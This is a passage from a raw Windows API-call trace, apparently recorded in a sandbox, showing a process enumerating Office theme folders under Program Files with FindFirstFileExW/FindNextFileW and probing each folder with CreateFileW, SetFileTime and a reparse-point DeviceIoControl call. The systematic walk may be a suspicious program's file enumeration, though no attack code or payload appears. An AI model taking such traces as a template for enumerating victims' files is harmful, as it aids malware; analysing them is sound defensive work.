(HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.573] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfadce8 [0062.573] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0062.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf460 [0062.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfaddf0 [0062.573] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.573] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c679700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c679700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.ELM", cAlternateFileName="")) returned 1 [0062.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.573] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.574] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.574] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.574] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf480 [0062.574] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfadef8 [0062.574] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x880) returned 0xfafb88 [0062.574] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfaa438) returned 1 [0062.574] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.574] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.INF", cAlternateFileName="")) returned 1 [0062.574] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.574] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.574] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.574] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.574] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.574] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf4a0 [0062.574] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfae000 [0062.574] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.574] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0062.574] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.574] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.574] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.574] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.574] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.574] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf4c0 [0062.574] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfae108 [0062.574] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.574] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0062.574] GetLastError () returned 0x12 [0062.574] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0062.575] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0062.575] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.575] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x682, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0062.575] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c679700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c679700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.ELM", cAlternateFileName="")) returned 1 [0062.575] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.INF", cAlternateFileName="")) returned 1 [0062.575] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0062.575] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0062.575] GetLastError () returned 0x12 [0062.575] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfadbe0) returned 1 [0062.575] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0062.575] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfadce8) returned 1 [0062.575] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0062.575] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED", cAlternateFileName="")) returned 1 [0062.575] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.575] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0062.575] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0062.575] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0062.575] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb0410 [0062.576] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb0410, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfb0410, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0062.576] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb0410) returned 1 [0062.576] NtClose (Handle=0x190) returned 0x0 [0062.576] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.576] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.576] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0062.576] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0062.576] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.576] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfadce8 [0062.576] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0062.576] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.576] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0062.576] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.576] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.576] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.576] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.576] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.576] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfadbe0 [0062.576] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0062.576] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf4e0 [0062.576] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfae210 [0062.576] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.576] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec9f100, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec9f100, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb30e, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.ELM", cAlternateFileName="")) returned 1 [0062.577] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.577] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.577] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.577] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.577] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.577] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf500 [0062.577] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfae318 [0062.577] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.577] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.INF", cAlternateFileName="")) returned 1 [0062.577] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.577] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.577] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.577] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.577] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.577] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf520 [0062.577] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfae420 [0062.577] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.577] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0062.577] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.577] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.577] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.577] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.577] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.577] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf540 [0062.577] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfae528 [0062.577] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.577] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0062.578] GetLastError () returned 0x12 [0062.578] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0062.578] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0062.578] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.578] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0062.578] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec9f100, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec9f100, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb30e, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.ELM", cAlternateFileName="")) returned 1 [0062.578] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.INF", cAlternateFileName="")) returned 1 [0062.578] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0062.578] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0062.578] GetLastError () returned 0x12 [0062.578] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfadce8) returned 1 [0062.578] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0062.578] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfadbe0) returned 1 [0062.578] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0062.578] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR", cAlternateFileName="")) returned 1 [0062.578] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0062.578] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0062.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0062.584] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0062.584] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb0410 [0062.584] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb0410, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfb0410, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0062.584] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb0410) returned 1 [0062.584] NtClose (Handle=0x184) returned 0x0 [0062.584] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0062.584] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.584] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 